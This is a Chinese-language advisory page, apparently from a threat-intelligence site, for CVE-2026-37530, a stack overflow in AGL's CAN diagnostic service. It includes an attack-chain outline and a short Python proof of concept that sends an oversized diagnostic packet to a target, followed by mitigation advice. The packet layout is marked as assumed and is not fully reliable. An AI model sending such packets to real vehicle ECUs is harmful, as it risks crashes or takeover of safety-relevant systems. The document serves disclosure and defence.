IPBUF安全漏洞报告
English
CVE-2026-37530 CVSS 7.5 高危

CVE-2026-37530: AGL组件栈缓冲区溢出漏洞

披露日期: 2026-05-01

漏洞信息

漏洞编号
CVE-2026-37530
漏洞类型
栈缓冲区溢出
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
AGL agl-service-can-low-level

相关标签

栈缓冲区溢出RCEAGL汽车安全CVE-2026-37530IoT

漏洞概述

AGL (Automotive Grade Linux) 的 agl-service-can-low-level 组件在 17.1.12 及之前的版本中存在严重的安全漏洞。该漏洞位于 uds-c 库的 send_diagnostic_request 函数中,由于未对 payload_length 字段进行严格的边界检查,导致在处理诊断请求时可能发生栈缓冲区溢出。攻击者无需用户交互或认证即可通过网络利用此漏洞。在缺乏堆栈保护的 32 位 ARM 汽车 ECU 上,该漏洞可能导致返回地址被覆盖,从而实现远程代码执行 (RCE) 或造成服务拒绝。

技术细节

漏洞根源在于 uds.c 文件中的 send_diagnostic_request 函数逻辑错误。函数在栈上分配了 MAX_DIAGNOSTIC_PAYLOAD_SIZE (6字节) 的缓冲区,但在使用 memcpy 复制数据时,允许的最大长度为 MAX_UDS_REQUEST_PAYLOAD_LENGTH (7字节)。由于写入偏移量为 1+pid_length (通常为2-3字节),实际写入操作会超出缓冲区边界,造成 1 到 4 字节的栈溢出。攻击者可通过构造特制的数据包,将 payload_length 设为 7,从而控制溢出的数据。在未启用 Stack Canaries 保护的 32 位 ARM 架构 ECU 上,这种可控的溢出足以覆盖函数的返回地址,劫持控制流并执行恶意代码。

攻击链分析

STEP 1
侦察
攻击者扫描网络,寻找暴露的 AGL agl-service-can-low-level 服务端口。
STEP 2
构造恶意数据
攻击者构造特制的诊断请求包,将 payload_length 字段设置为 7,并填充特定的溢出数据。
STEP 3
触发溢出
将恶意数据包发送至目标 ECU,send_diagnostic_request 函数处理数据时,memcpy 越界写入栈内存。
STEP 4
执行代码
在未开启 Stack Canaries 的 32 位 ARM ECU 上,溢出数据覆盖返回地址,程序跳转至攻击者控制的地址,执行任意代码。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-37530 # This script demonstrates the stack buffer overflow by sending # a crafted diagnostic request with payload_length = 7. import socket import struct def send_exploit(target_ip, target_port): try: # Connect to the vulnerable AGL service s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # Construct malicious UDS-like packet # pid_length is assumed to be 2 bytes for this example # Offset = 1 (header) + 2 (pid) = 3 # Buffer size = 6 # Writing 7 bytes at offset 3 overwrites 4 bytes (Return Address + saved FP) pid = b"\x01\x02" # Payload length set to 7 (MAX_UDS_REQUEST_PAYLOAD_LENGTH) # This exceeds the allocated 6-byte stack buffer payload = b"\x41" * 7 # 'A' * 7 # Construct packet: [SID] [Length] [PID] [Payload] packet = b"\x2E" # Example Service ID for diagnostic control packet += struct.pack("B", len(payload)) # uint8_t payload_length (no bounds check) packet += pid packet += payload print(f"[*] Sending exploit payload to {target_ip}:{target_port}") s.send(packet) print("[*] Payload sent. Check ECU for crash or shell.") except Exception as e: print(f"[-] Exploit failed: {e}") finally: s.close() if __name__ == "__main__": # Replace with actual target IP and Port send_exploit("192.168.1.10", 8080)

影响范围

AGL agl-service-can-low-level <= 17.1.12

防御指南

临时缓解措施
建议立即升级受影响组件。若暂无法升级,应限制对车辆 CAN 总线及诊断服务的网络访问,并在 ECU 编译配置中确保启用 Stack Canaries 和 ASLR 等安全缓解机制,以增加漏洞利用难度。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表